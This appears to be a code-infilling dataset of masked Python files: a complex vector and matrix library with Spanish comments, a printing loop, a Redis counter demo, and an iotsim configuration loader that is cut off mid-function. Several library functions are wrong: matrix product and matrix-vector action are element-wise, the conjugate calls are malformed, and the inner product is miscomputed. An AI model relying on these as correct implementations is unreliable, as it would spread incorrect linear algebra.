def vectorNorm(v):
r = int(lc.cplxmod(v))
return r
def disV(v, w):
ele = 0
s = 0
for i in range(len(v)):
ele = v[i] - w[i]
ele = ele ** 2
s += ele
n = s ** (1 / 2)
return n
def hermMtx(v):
if adjMtx(v) == v:
return True
def vectorTsorProduct(A, B):
na = len(A)
nb = len(B)
nr = nb * na
R = [(0, 0)] * nr
index = 0
for j in range(na):
for k in range(nb):
R[index] = MultEscalarVector(A[j], B[k])
index = index + 1
return R
<|reserved_special_token_1|>
import Libcplx as lc
# 1.Adición de vectores complejos
def adVector(v, w):
n = len(v)
r = []
for k in range(n):
r += [lc.cplxsum(v[k], w[k])]
return r
# 2.Inverso (aditivo) de un vector complejo
def invVector(v):
n = len(v)
r = []
for k in range(n):
r += [lc.cplxproduct((-1, 0), v[k])]
return r
# 3.Multiplicación de un escalar complejo
def MultEscalarVector(v, w):
n = len(w)
r = []
for k in range(n):
r += [lc.cplxproduct(v, w[k])]
return r
# 4.Adición de matrices complejas
def sumaMatrix(v, w):
m = len(w)
n = len(v[0])
fila = []
r = [fila] * m
for j in range(m):
fila = []
r[j] = fila
for k in range(n):
r += [lc.cplxsum(v[j][k], w[j][k])]
return r
# 5.Inversa (aditiva) de una matriz compleja
def invAdMtx(v):
m = len(v)
n = len(v[0])
r = [n] * m
for j in range(m):
fila = []
r[j] = fila
for k in range(n):
r[j] += [lc.cplxproduct((-1,0), v[j][k])]
return r
# 6. Multiplicación de un escalar por una matriz compleja
def MultEscMtx(v, w):
m = len(w)
n = len(w[0])
r = [n] * m
for j in range(n):
fila = []
r[j] = fila
for k in range(m):
r[j] += [lc.cplxproduct(v, w[j][k])]
return r
# 7. Transpuesta de una matriz/vector
def trMtx(v):
m = len(v)
n = len(v[0])
r = [n] * m
for j in range(n):
fila = []
r[j] = fila
for k in range(m):
r[j] += [v[k][j]]
return r
# 8. Conjugada de una matriz/vector
def conjMtx(A):
m = len(A)
n = len(A[0])
r = [n] * m
for j in range(n):
fila = []
r[j] = fila
for k in range(m):
r[j] += [lc.cplxconj((-1,0), A[j][k])]
return r
# 9.Adjunta (daga) de una matriz/vector
def adjMtx(A):
n = len(A)
m = len(A[0])
r = [n] * m
for j in range(n):
fila = [] * n
r[j] = fila
for k in range(m):
r[j] += [lc.cplxconj((-1,0), A[k][j])]
return r
# 10.Producto de dos matrices (de tamaños compatibles)
def ProdMtx(A, B):
m = len(A)
n = len(A[0])
fila = [(0, 0)] * n
r = [fila] * m
for j in range(m):
fila = [(0, 0)] * n
r[j] = fila
for k in range(n):
r[j][k] = lc.cplxproduct(A[j][k], B[j][k])
return r
# 11. Función para calcular la "acción" de una matriz sobre un vector
def MtxVec(A, B):
m = len(A)
n = len(A[0])
fila = [(0, 0)] * n
r = [fila] * m
for j in range(m):
fila = [(0, 0)] * n
r[j] = fila
for k in range(n):
r[j][k] = lc.cplxproduct(A[j][k], B[j][k])
return r
# 12. Producto interno de dos vectores
def vectorPrInt(v):
r = int(lc.cplxmod(v) ** 2)
return r
# 13. Norma de un vector
def vectorNorm(v):
r = int(lc.cplxmod(v))
return r
# 14. Distancia entre dos vectores
def disV(v,w):
ele = 0
s = 0
for i in range(len(v)):
ele = v[i]-w[i]
ele = ele**2
s += ele
n = s ** (1/2)
return n
# 15. Revisar si una matriz es unitaria
# 16. Revisar si una matriz es Hermitiana
def hermMtx(v):
if adjMtx(v) == v:
return True
# 17. Producto tensor de dos matrices/vectores
def vectorTsorProduct(A, B):
na = len(A)
nb = len(B)
nr = nb * na
R = [(0, 0)] * nr
index = 0
for j in range(na):
for k in range(nb):
R[index] = MultEscalarVector(A[j], B[k])
index = index + 1
return R
# print(adVector(v,w))
# print(invVector(v))
# print(MultEscalarVector(v,w))
# print(sumaMatrix(v,w))
# print(InvAdMtx(v,w))
# print(MultEscMtx(v,w))
# print(trMtx(v))
|
flexible
|
{
"blob_id": "5f242ae801a239dde6a22e4fb68b4ef4b2459be6",
"index": 2599,
"step-1": "<mask token>\n\n\ndef adVector(v, w):\n n = len(v)\n r = []\n for k in range(n):\n r += [lc.cplxsum(v[k], w[k])]\n return r\n\n\n<mask token>\n\n\ndef MultEscalarVector(v, w):\n n = len(w)\n r = []\n for k in range(n):\n r += [lc.cplxproduct(v, w[k])]\n return r\n\n\ndef sumaMatrix(v, w):\n m = len(w)\n n = len(v[0])\n fila = []\n r = [fila] * m\n for j in range(m):\n fila = []\n r[j] = fila\n for k in range(n):\n r += [lc.cplxsum(v[j][k], w[j][k])]\n return r\n\n\ndef invAdMtx(v):\n m = len(v)\n n = len(v[0])\n r = [n] * m\n for j in range(m):\n fila = []\n r[j] = fila\n for k in range(n):\n r[j] += [lc.cplxproduct((-1, 0), v[j][k])]\n return r\n\n\ndef MultEscMtx(v, w):\n m = len(w)\n n = len(w[0])\n r = [n] * m\n for j in range(n):\n fila = []\n r[j] = fila\n for k in range(m):\n r[j] += [lc.cplxproduct(v, w[j][k])]\n return r\n\n\n<mask token>\n\n\ndef ProdMtx(A, B):\n m = len(A)\n n = len(A[0])\n fila = [(0, 0)] * n\n r = [fila] * m\n for j in range(m):\n fila = [(0, 0)] * n\n r[j] = fila\n for k in range(n):\n r[j][k] = lc.cplxproduct(A[j][k], B[j][k])\n return r\n\n\ndef MtxVec(A, B):\n m = len(A)\n n = len(A[0])\n fila = [(0, 0)] * n\n r = [fila] * m\n for j in range(m):\n fila = [(0, 0)] * n\n r[j] = fila\n for k in range(n):\n r[j][k] = lc.cplxproduct(A[j][k], B[j][k])\n return r\n\n\ndef vectorPrInt(v):\n r = int(lc.cplxmod(v) ** 2)\n return r\n\n\ndef vectorNorm(v):\n r = int(lc.cplxmod(v))\n return r\n\n\ndef disV(v, w):\n ele = 0\n s = 0\n for i in range(len(v)):\n ele = v[i] - w[i]\n ele = ele ** 2\n s += ele\n n = s ** (1 / 2)\n return n\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef adVector(v, w):\n n = len(v)\n r = []\n for k in range(n):\n r += [lc.cplxsum(v[k], w[k])]\n return r\n\n\ndef invVector(v):\n n = len(v)\n r = []\n for k in range(n):\n r += [lc.cplxproduct((-1, 0), v[k])]\n return r\n\n\ndef MultEscalarVector(v, w):\n n = len(w)\n r = []\n for k in range(n):\n r += [lc.cplxproduct(v, w[k])]\n return r\n\n\ndef sumaMatrix(v, w):\n m = len(w)\n n = len(v[0])\n fila = []\n r = [fila] * m\n for j in range(m):\n fila = []\n r[j] = fila\n for k in range(n):\n r += [lc.cplxsum(v[j][k], w[j][k])]\n return r\n\n\ndef invAdMtx(v):\n m = len(v)\n n = len(v[0])\n r = [n] * m\n for j in range(m):\n fila = []\n r[j] = fila\n for k in range(n):\n r[j] += [lc.cplxproduct((-1, 0), v[j][k])]\n return r\n\n\ndef MultEscMtx(v, w):\n m = len(w)\n n = len(w[0])\n r = [n] * m\n for j in range(n):\n fila = []\n r[j] = fila\n for k in range(m):\n r[j] += [lc.cplxproduct(v, w[j][k])]\n return r\n\n\ndef trMtx(v):\n m = len(v)\n n = len(v[0])\n r = [n] * m\n for j in range(n):\n fila = []\n r[j] = fila\n for k in range(m):\n r[j] += [v[k][j]]\n return r\n\n\n<mask token>\n\n\ndef ProdMtx(A, B):\n m = len(A)\n n = len(A[0])\n fila = [(0, 0)] * n\n r = [fila] * m\n for j in range(m):\n fila = [(0, 0)] * n\n r[j] = fila\n for k in range(n):\n r[j][k] = lc.cplxproduct(A[j][k], B[j][k])\n return r\n\n\ndef MtxVec(A, B):\n m = len(A)\n n = len(A[0])\n fila = [(0, 0)] * n\n r = [fila] * m\n for j in range(m):\n fila = [(0, 0)] * n\n r[j] = fila\n for k in range(n):\n r[j][k] = lc.cplxproduct(A[j][k], B[j][k])\n return r\n\n\ndef vectorPrInt(v):\n r = int(lc.cplxmod(v) ** 2)\n return r\n\n\ndef vectorNorm(v):\n r = int(lc.cplxmod(v))\n return r\n\n\ndef disV(v, w):\n ele = 0\n s = 0\n for i in range(len(v)):\n ele = v[i] - w[i]\n ele = ele ** 2\n s += ele\n n = s ** (1 / 2)\n return n\n\n\ndef hermMtx(v):\n if adjMtx(v) == v:\n return True\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\ndef adVector(v, w):\n n = len(v)\n r = []\n for k in range(n):\n r += [lc.cplxsum(v[k], w[k])]\n return r\n\n\ndef invVector(v):\n n = len(v)\n r = []\n for k in range(n):\n r += [lc.cplxproduct((-1, 0), v[k])]\n return r\n\n\ndef MultEscalarVector(v, w):\n n = len(w)\n r = []\n for k in range(n):\n r += [lc.cplxproduct(v, w[k])]\n return r\n\n\ndef sumaMatrix(v, w):\n m = len(w)\n n = len(v[0])\n fila = []\n r = [fila] * m\n for j in range(m):\n fila = []\n r[j] = fila\n for k in range(n):\n r += [lc.cplxsum(v[j][k], w[j][k])]\n return r\n\n\ndef invAdMtx(v):\n m = len(v)\n n = len(v[0])\n r = [n] * m\n for j in range(m):\n fila = []\n r[j] = fila\n for k in range(n):\n r[j] += [lc.cplxproduct((-1, 0), v[j][k])]\n return r\n\n\ndef MultEscMtx(v, w):\n m = len(w)\n n = len(w[0])\n r = [n] * m\n for j in range(n):\n fila = []\n r[j] = fila\n for k in range(m):\n r[j] += [lc.cplxproduct(v, w[j][k])]\n return r\n\n\ndef trMtx(v):\n m = len(v)\n n = len(v[0])\n r = [n] * m\n for j in range(n):\n fila = []\n r[j] = fila\n for k in range(m):\n r[j] += [v[k][j]]\n return r\n\n\n<mask token>\n\n\ndef ProdMtx(A, B):\n m = len(A)\n n = len(A[0])\n fila = [(0, 0)] * n\n r = [fila] * m\n for j in range(m):\n fila = [(0, 0)] * n\n r[j] = fila\n for k in range(n):\n r[j][k] = lc.cplxproduct(A[j][k], B[j][k])\n return r\n\n\ndef MtxVec(A, B):\n m = len(A)\n n = len(A[0])\n fila = [(0, 0)] * n\n r = [fila] * m\n for j in range(m):\n fila = [(0, 0)] * n\n r[j] = fila\n for k in range(n):\n r[j][k] = lc.cplxproduct(A[j][k], B[j][k])\n return r\n\n\ndef vectorPrInt(v):\n r = int(lc.cplxmod(v) ** 2)\n return r\n\n\ndef vectorNorm(v):\n r = int(lc.cplxmod(v))\n return r\n\n\ndef disV(v, w):\n ele = 0\n s = 0\n for i in range(len(v)):\n ele = v[i] - w[i]\n ele = ele ** 2\n s += ele\n n = s ** (1 / 2)\n return n\n\n\ndef hermMtx(v):\n if adjMtx(v) == v:\n return True\n\n\ndef vectorTsorProduct(A, B):\n na = len(A)\n nb = len(B)\n nr = nb * na\n R = [(0, 0)] * nr\n index = 0\n for j in range(na):\n for k in range(nb):\n R[index] = MultEscalarVector(A[j], B[k])\n index = index + 1\n return R\n",
"step-4": "<mask token>\n\n\ndef adVector(v, w):\n n = len(v)\n r = []\n for k in range(n):\n r += [lc.cplxsum(v[k], w[k])]\n return r\n\n\ndef invVector(v):\n n = len(v)\n r = []\n for k in range(n):\n r += [lc.cplxproduct((-1, 0), v[k])]\n return r\n\n\ndef MultEscalarVector(v, w):\n n = len(w)\n r = []\n for k in range(n):\n r += [lc.cplxproduct(v, w[k])]\n return r\n\n\ndef sumaMatrix(v, w):\n m = len(w)\n n = len(v[0])\n fila = []\n r = [fila] * m\n for j in range(m):\n fila = []\n r[j] = fila\n for k in range(n):\n r += [lc.cplxsum(v[j][k], w[j][k])]\n return r\n\n\ndef invAdMtx(v):\n m = len(v)\n n = len(v[0])\n r = [n] * m\n for j in range(m):\n fila = []\n r[j] = fila\n for k in range(n):\n r[j] += [lc.cplxproduct((-1, 0), v[j][k])]\n return r\n\n\ndef MultEscMtx(v, w):\n m = len(w)\n n = len(w[0])\n r = [n] * m\n for j in range(n):\n fila = []\n r[j] = fila\n for k in range(m):\n r[j] += [lc.cplxproduct(v, w[j][k])]\n return r\n\n\ndef trMtx(v):\n m = len(v)\n n = len(v[0])\n r = [n] * m\n for j in range(n):\n fila = []\n r[j] = fila\n for k in range(m):\n r[j] += [v[k][j]]\n return r\n\n\n<mask token>\n\n\ndef adjMtx(A):\n n = len(A)\n m = len(A[0])\n r = [n] * m\n for j in range(n):\n fila = [] * n\n r[j] = fila\n for k in range(m):\n r[j] += [lc.cplxconj((-1, 0), A[k][j])]\n return r\n\n\ndef ProdMtx(A, B):\n m = len(A)\n n = len(A[0])\n fila = [(0, 0)] * n\n r = [fila] * m\n for j in range(m):\n fila = [(0, 0)] * n\n r[j] = fila\n for k in range(n):\n r[j][k] = lc.cplxproduct(A[j][k], B[j][k])\n return r\n\n\ndef MtxVec(A, B):\n m = len(A)\n n = len(A[0])\n fila = [(0, 0)] * n\n r = [fila] * m\n for j in range(m):\n fila = [(0, 0)] * n\n r[j] = fila\n for k in range(n):\n r[j][k] = lc.cplxproduct(A[j][k], B[j][k])\n return r\n\n\ndef vectorPrInt(v):\n r = int(lc.cplxmod(v) ** 2)\n return r\n\n\ndef vectorNorm(v):\n r = int(lc.cplxmod(v))\n return r\n\n\ndef disV(v, w):\n ele = 0\n s = 0\n for i in range(len(v)):\n ele = v[i] - w[i]\n ele = ele ** 2\n s += ele\n n = s ** (1 / 2)\n return n\n\n\ndef hermMtx(v):\n if adjMtx(v) == v:\n return True\n\n\ndef vectorTsorProduct(A, B):\n na = len(A)\n nb = len(B)\n nr = nb * na\n R = [(0, 0)] * nr\n index = 0\n for j in range(na):\n for k in range(nb):\n R[index] = MultEscalarVector(A[j], B[k])\n index = index + 1\n return R\n",
"step-5": "import Libcplx as lc\n\n\n# 1.Adición de vectores complejos\ndef adVector(v, w):\n n = len(v)\n r = []\n for k in range(n):\n r += [lc.cplxsum(v[k], w[k])]\n return r\n\n\n# 2.Inverso (aditivo) de un vector complejo\ndef invVector(v):\n n = len(v)\n r = []\n for k in range(n):\n r += [lc.cplxproduct((-1, 0), v[k])]\n return r\n\n\n# 3.Multiplicación de un escalar complejo\ndef MultEscalarVector(v, w):\n n = len(w)\n r = []\n for k in range(n):\n r += [lc.cplxproduct(v, w[k])]\n return r\n\n\n# 4.Adición de matrices complejas\ndef sumaMatrix(v, w):\n m = len(w)\n n = len(v[0])\n fila = []\n r = [fila] * m\n for j in range(m):\n fila = []\n r[j] = fila\n for k in range(n):\n r += [lc.cplxsum(v[j][k], w[j][k])]\n return r\n\n\n# 5.Inversa (aditiva) de una matriz compleja\ndef invAdMtx(v):\n m = len(v)\n n = len(v[0])\n r = [n] * m\n for j in range(m):\n fila = []\n r[j] = fila\n for k in range(n):\n r[j] += [lc.cplxproduct((-1,0), v[j][k])]\n return r\n\n\n# 6. Multiplicación de un escalar por una matriz compleja\ndef MultEscMtx(v, w):\n m = len(w)\n n = len(w[0])\n r = [n] * m\n for j in range(n):\n fila = []\n r[j] = fila\n for k in range(m):\n r[j] += [lc.cplxproduct(v, w[j][k])]\n return r\n\n\n# 7. Transpuesta de una matriz/vector\ndef trMtx(v):\n m = len(v)\n n = len(v[0])\n r = [n] * m\n for j in range(n):\n fila = []\n r[j] = fila\n for k in range(m):\n r[j] += [v[k][j]]\n return r\n\n\n# 8. Conjugada de una matriz/vector\ndef conjMtx(A):\n m = len(A)\n n = len(A[0])\n r = [n] * m\n for j in range(n):\n fila = []\n r[j] = fila\n for k in range(m):\n r[j] += [lc.cplxconj((-1,0), A[j][k])]\n return r\n\n\n# 9.Adjunta (daga) de una matriz/vector\ndef adjMtx(A):\n n = len(A)\n m = len(A[0])\n r = [n] * m\n for j in range(n):\n fila = [] * n\n r[j] = fila\n for k in range(m):\n r[j] += [lc.cplxconj((-1,0), A[k][j])]\n\n return r\n\n\n# 10.Producto de dos matrices (de tamaños compatibles)\ndef ProdMtx(A, B):\n m = len(A)\n n = len(A[0])\n fila = [(0, 0)] * n\n r = [fila] * m\n for j in range(m):\n fila = [(0, 0)] * n\n r[j] = fila\n for k in range(n):\n r[j][k] = lc.cplxproduct(A[j][k], B[j][k])\n return r\n\n\n# 11. Función para calcular la \"acción\" de una matriz sobre un vector\ndef MtxVec(A, B):\n m = len(A)\n n = len(A[0])\n fila = [(0, 0)] * n\n r = [fila] * m\n for j in range(m):\n fila = [(0, 0)] * n\n r[j] = fila\n for k in range(n):\n r[j][k] = lc.cplxproduct(A[j][k], B[j][k])\n return r\n\n\n# 12. Producto interno de dos vectores\ndef vectorPrInt(v):\n r = int(lc.cplxmod(v) ** 2)\n return r\n\n\n# 13. Norma de un vector\ndef vectorNorm(v):\n r = int(lc.cplxmod(v))\n return r\n\n\n# 14. Distancia entre dos vectores\ndef disV(v,w):\n ele = 0\n s = 0\n for i in range(len(v)):\n ele = v[i]-w[i]\n ele = ele**2\n s += ele\n n = s ** (1/2)\n return n\n\n\n# 15. Revisar si una matriz es unitaria\n\n\n\n# 16. Revisar si una matriz es Hermitiana\ndef hermMtx(v):\n if adjMtx(v) == v:\n return True\n\n\n# 17. Producto tensor de dos matrices/vectores\ndef vectorTsorProduct(A, B):\n na = len(A)\n nb = len(B)\n nr = nb * na\n R = [(0, 0)] * nr\n index = 0\n for j in range(na):\n for k in range(nb):\n R[index] = MultEscalarVector(A[j], B[k])\n index = index + 1\n return R\n\n # print(adVector(v,w))\n # print(invVector(v))\n # print(MultEscalarVector(v,w))\n # print(sumaMatrix(v,w))\n # print(InvAdMtx(v,w))\n # print(MultEscMtx(v,w))\n # print(trMtx(v))",
"step-ids": [
10,
13,
14,
15,
18
]
}
|
[
10,
13,
14,
15,
18
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
for row in range(num, 0, -1):
for col in range(row, 0, -1):
print(a, end='')
a -= 1
print()
<|reserved_special_token_1|>
num = 5
a = 5
for row in range(num, 0, -1):
for col in range(row, 0, -1):
print(a, end='')
a -= 1
print()
<|reserved_special_token_1|>
num=5
a=5
for row in range(num,0,-1):
for col in range(row,0,-1):
print(a,end="")
a-=1
print()
|
flexible
|
{
"blob_id": "a567a2dc1dbb59979d849a5a772e4592910a9f27",
"index": 2783,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor row in range(num, 0, -1):\n for col in range(row, 0, -1):\n print(a, end='')\n a -= 1\n print()\n",
"step-3": "num = 5\na = 5\nfor row in range(num, 0, -1):\n for col in range(row, 0, -1):\n print(a, end='')\n a -= 1\n print()\n",
"step-4": "num=5\r\na=5\r\nfor row in range(num,0,-1):\r\n for col in range(row,0,-1):\r\n print(a,end=\"\")\r\n a-=1\r\n print()",
"step-5": null,
"step-ids": [
0,
1,
2,
3
]
}
|
[
0,
1,
2,
3
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
r.set('counter', 40)
print(r.get('counter'))
print(r.incr('counter'))
print(r.incr('counter'))
print(r.get('counter'))
<|reserved_special_token_1|>
<|reserved_special_token_0|>
r = redis.StrictRedis()
r.set('counter', 40)
print(r.get('counter'))
print(r.incr('counter'))
print(r.incr('counter'))
print(r.get('counter'))
<|reserved_special_token_1|>
import redis
r = redis.StrictRedis()
r.set('counter', 40)
print(r.get('counter'))
print(r.incr('counter'))
print(r.incr('counter'))
print(r.get('counter'))
<|reserved_special_token_1|>
import redis
r = redis.StrictRedis()
r.set("counter", 40)
print(r.get("counter"))
print(r.incr("counter"))
print(r.incr("counter"))
print(r.get("counter"))
|
flexible
|
{
"blob_id": "b38c9357030b2eac8298743cfb4d6c4d58c99ed4",
"index": 7463,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nr.set('counter', 40)\nprint(r.get('counter'))\nprint(r.incr('counter'))\nprint(r.incr('counter'))\nprint(r.get('counter'))\n",
"step-3": "<mask token>\nr = redis.StrictRedis()\nr.set('counter', 40)\nprint(r.get('counter'))\nprint(r.incr('counter'))\nprint(r.incr('counter'))\nprint(r.get('counter'))\n",
"step-4": "import redis\nr = redis.StrictRedis()\nr.set('counter', 40)\nprint(r.get('counter'))\nprint(r.incr('counter'))\nprint(r.incr('counter'))\nprint(r.get('counter'))\n",
"step-5": "import redis\nr = redis.StrictRedis()\n\nr.set(\"counter\", 40) \nprint(r.get(\"counter\"))\nprint(r.incr(\"counter\"))\nprint(r.incr(\"counter\"))\nprint(r.get(\"counter\"))\n\n\n",
"step-ids": [
0,
1,
2,
3,
4
]
}
|
[
0,
1,
2,
3,
4
] |
<|reserved_special_token_0|>
def inventory(component, component_type):
try:
component_inventory = _inventory[component]
except KeyError:
raise ValueError('Illegal assembly component: {}'.format(component))
try:
component_class = component_inventory[component_type]
except KeyError:
raise ValueError('{} type `{}` is not listed in the inventory'.
format(component, component_type))
return component_class
def from_config(config):
try:
config.items()
except AttributeError:
with open(str(config), 'r') as f:
config = yaml.load(f, Loader=yaml.SafeLoader)
return _from_config(config)
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def inventory(component, component_type):
try:
component_inventory = _inventory[component]
except KeyError:
raise ValueError('Illegal assembly component: {}'.format(component))
try:
component_class = component_inventory[component_type]
except KeyError:
raise ValueError('{} type `{}` is not listed in the inventory'.
format(component, component_type))
return component_class
def from_config(config):
try:
config.items()
except AttributeError:
with open(str(config), 'r') as f:
config = yaml.load(f, Loader=yaml.SafeLoader)
return _from_config(config)
def _from_config(config):
try:
config.items()
except:
raise TypeError('Consfis must be a disctionary. Got {}'.format(type
(config)))
if not 'assembly' in config:
raise KeyError("Config is missing mandatory key 'assembly'")
if not 'type' in config['assembly']:
raise KeyError("Assembly definition is missing mandatory key 'type'")
constructor = inventory('assembly', config['assembly']['type'])
assembly_params = config['assembly'].get('parameters', dict())
assembly_template = constructor(**assembly_params)
readers_definitions = config.get('readers', list())
readers = dict()
for reader_definition in readers_definitions:
try:
reader_type = reader_definition.pop('type')
except KeyError:
raise KeyError("Reader definition is missing mandatory key 'type'")
try:
reader_label = reader_definition.pop('label')
except KeyError:
raise KeyError("Reader definition is missing mandatory key 'label'"
)
reader_parameters = reader_definition.get('parameters', dict())
reader_class = inventory('reader', reader_type)
readers[reader_label] = reader_class(**reader_parameters)
assembly_readers = config['assembly'].get('readers', dict())
for signal_name, reader_label in assembly_readers.items():
try:
reader = readers[reader_label]
except KeyError:
raise KeyError("Undefined reader label '{}' in aseembly definition"
.format(reader_label))
if signal_name == 'default':
assembly_template.attach_reader(reader)
else:
assembly_template.attach_reader(reader, signal_name)
networks_definitions = config.get('networks', list())
networks = dict()
for network_definition in networks_definitions:
try:
network_type = network_definition.pop('type')
except KeyError:
raise KeyError("network definition is missing mandatory key 'type'"
)
try:
network_label = network_definition.pop('label')
except KeyError:
raise KeyError(
"network definition is missing mandatory key 'label'")
network_parameters = network_definition.get('parameters', dict())
network_class = inventory('network', network_type)
networks[network_label] = network_class(**network_parameters)
assembly_networks = config['assembly'].get('networks', dict())
for signal_name, network_label in assembly_networks.items():
try:
network = networks[network_label]
except KeyError:
raise KeyError(
"Undefined network label '{}' in aseembly definition".
format(network_label))
if signal_name == 'default':
assembly_template.attach_network(network)
else:
assembly_template.attach_network(network, signal_name)
assembly = assembly_template()
return assembly
<|reserved_special_token_1|>
<|reserved_special_token_0|>
_inventory = dict(assembly=dict(Flatline=contructors.Flatline, Seasaw=
contructors.Seesaw, Pulser=contructors.Pulser, SimpleActuator=
contructors.SimpleActuator), reader=dict(PassThrough=readers.
PassthroughReader, EveryNth=readers.EveryNthReader, OnChange=readers.
OnChangeReader), network=dict(Ideal=networks.IdealNetwork, Normal=
networks.NormalNetwork))
def inventory(component, component_type):
try:
component_inventory = _inventory[component]
except KeyError:
raise ValueError('Illegal assembly component: {}'.format(component))
try:
component_class = component_inventory[component_type]
except KeyError:
raise ValueError('{} type `{}` is not listed in the inventory'.
format(component, component_type))
return component_class
def from_config(config):
try:
config.items()
except AttributeError:
with open(str(config), 'r') as f:
config = yaml.load(f, Loader=yaml.SafeLoader)
return _from_config(config)
def _from_config(config):
try:
config.items()
except:
raise TypeError('Consfis must be a disctionary. Got {}'.format(type
(config)))
if not 'assembly' in config:
raise KeyError("Config is missing mandatory key 'assembly'")
if not 'type' in config['assembly']:
raise KeyError("Assembly definition is missing mandatory key 'type'")
constructor = inventory('assembly', config['assembly']['type'])
assembly_params = config['assembly'].get('parameters', dict())
assembly_template = constructor(**assembly_params)
readers_definitions = config.get('readers', list())
readers = dict()
for reader_definition in readers_definitions:
try:
reader_type = reader_definition.pop('type')
except KeyError:
raise KeyError("Reader definition is missing mandatory key 'type'")
try:
reader_label = reader_definition.pop('label')
except KeyError:
raise KeyError("Reader definition is missing mandatory key 'label'"
)
reader_parameters = reader_definition.get('parameters', dict())
reader_class = inventory('reader', reader_type)
readers[reader_label] = reader_class(**reader_parameters)
assembly_readers = config['assembly'].get('readers', dict())
for signal_name, reader_label in assembly_readers.items():
try:
reader = readers[reader_label]
except KeyError:
raise KeyError("Undefined reader label '{}' in aseembly definition"
.format(reader_label))
if signal_name == 'default':
assembly_template.attach_reader(reader)
else:
assembly_template.attach_reader(reader, signal_name)
networks_definitions = config.get('networks', list())
networks = dict()
for network_definition in networks_definitions:
try:
network_type = network_definition.pop('type')
except KeyError:
raise KeyError("network definition is missing mandatory key 'type'"
)
try:
network_label = network_definition.pop('label')
except KeyError:
raise KeyError(
"network definition is missing mandatory key 'label'")
network_parameters = network_definition.get('parameters', dict())
network_class = inventory('network', network_type)
networks[network_label] = network_class(**network_parameters)
assembly_networks = config['assembly'].get('networks', dict())
for signal_name, network_label in assembly_networks.items():
try:
network = networks[network_label]
except KeyError:
raise KeyError(
"Undefined network label '{}' in aseembly definition".
format(network_label))
if signal_name == 'default':
assembly_template.attach_network(network)
else:
assembly_template.attach_network(network, signal_name)
assembly = assembly_template()
return assembly
<|reserved_special_token_1|>
import iotsim.readers as readers
import iotsim.networks as networks
import iotsim.constructors as contructors
import yaml
_inventory = dict(assembly=dict(Flatline=contructors.Flatline, Seasaw=
contructors.Seesaw, Pulser=contructors.Pulser, SimpleActuator=
contructors.SimpleActuator), reader=dict(PassThrough=readers.
PassthroughReader, EveryNth=readers.EveryNthReader, OnChange=readers.
OnChangeReader), network=dict(Ideal=networks.IdealNetwork, Normal=
networks.NormalNetwork))
def inventory(component, component_type):
try:
component_inventory = _inventory[component]
except KeyError:
raise ValueError('Illegal assembly component: {}'.format(component))
try:
component_class = component_inventory[component_type]
except KeyError:
raise ValueError('{} type `{}` is not listed in the inventory'.
format(component, component_type))
return component_class
def from_config(config):
try:
config.items()
except AttributeError:
with open(str(config), 'r') as f:
config = yaml.load(f, Loader=yaml.SafeLoader)
return _from_config(config)
def _from_config(config):
try:
config.items()
except:
raise TypeError('Consfis must be a disctionary. Got {}'.format(type
(config)))
if not 'assembly' in config:
raise KeyError("Config is missing mandatory key 'assembly'")
if not 'type' in config['assembly']:
raise KeyError("Assembly definition is missing mandatory key 'type'")
constructor = inventory('assembly', config['assembly']['type'])
assembly_params = config['assembly'].get('parameters', dict())
assembly_template = constructor(**assembly_params)
readers_definitions = config.get('readers', list())
readers = dict()
for reader_definition in readers_definitions:
try:
reader_type = reader_definition.pop('type')
except KeyError:
raise KeyError("Reader definition is missing mandatory key 'type'")
try:
reader_label = reader_definition.pop('label')
except KeyError:
raise KeyError("Reader definition is missing mandatory key 'label'"
)
reader_parameters = reader_definition.get('parameters', dict())
reader_class = inventory('reader', reader_type)
readers[reader_label] = reader_class(**reader_parameters)
assembly_readers = config['assembly'].get('readers', dict())
for signal_name, reader_label in assembly_readers.items():
try:
reader = readers[reader_label]
except KeyError:
raise KeyError("Undefined reader label '{}' in aseembly definition"
.format(reader_label))
if signal_name == 'default':
assembly_template.attach_reader(reader)
else:
assembly_template.attach_reader(reader, signal_name)
networks_definitions = config.get('networks', list())
networks = dict()
for network_definition in networks_definitions:
try:
network_type = network_definition.pop('type')
except KeyError:
raise KeyError("network definition is missing mandatory key 'type'"
)
try:
network_label = network_definition.pop('label')
except KeyError:
raise KeyError(
"network definition is missing mandatory key 'label'")
network_parameters = network_definition.get('parameters', dict())
network_class = inventory('network', network_type)
networks[network_label] = network_class(**network_parameters)
assembly_networks = config['assembly'].get('networks', dict())
for signal_name, network_label in assembly_networks.items():
try:
network = networks[network_label]
except KeyError:
raise KeyError(
"Undefined network label '{}' in aseembly definition".
format(network_label))
if signal_name == 'default':
assembly_template.attach_network(network)
else:
assembly_template.attach_network(network, signal_name)
assembly = assembly_template()
return assembly
<|reserved_special_token_1|>
import iotsim.readers as readers
import iotsim.networks as networks
import iotsim.constructors as contructors
import yaml
_inventory = dict(
assembly=dict(
Flatline=contructors.Flatline,
Seasaw=contructors.Seesaw,
Pulser=contructors.Pulser,
SimpleActuator=contructors.SimpleActuator,
),
reader=dict(
PassThrough=readers.PassthroughReader,
EveryNth=readers.EveryNthReader,
OnChange=readers.OnChangeReader,
),
network = dict(
Ideal = networks.IdealNetwork,
Normal = networks.NormalNetwork,
),
)
def inventory(component, component_type):
try:
component_inventory = _inventory[component]
except KeyError:
raise ValueError("Illegal assembly component: {}".format(component))
try:
component_class = component_inventory[component_type]
except KeyError:
raise ValueError("{} type `{}` is not listed in the inventory".
format(component, component_type))
return component_class
def from_config(config):
try:
config.items()
except AttributeError:
with open(str(config), 'r') as f:
config = yaml.load(f, Loader=yaml.SafeLoader)
return _from_config(config)
def _from_config(config):
try:
config.items()
except:
raise TypeError("Consfis must be a disctionary. Got {}".format(type(config)))
if not 'assembly' in config:
raise KeyError("Config is missing mandatory key 'assembly'")
if not 'type' in config['assembly']:
raise KeyError("Assembly definition is missing mandatory key 'type'")
constructor = inventory('assembly', config['assembly']['type'])
assembly_params = config['assembly'].get('parameters', dict())
assembly_template = constructor(**assembly_params)
readers_definitions = config.get('readers', list())
readers = dict()
for reader_definition in readers_definitions:
try:
reader_type = reader_definition.pop('type')
except KeyError:
raise KeyError("Reader definition is missing mandatory key 'type'")
try:
reader_label = reader_definition.pop('label')
except KeyError:
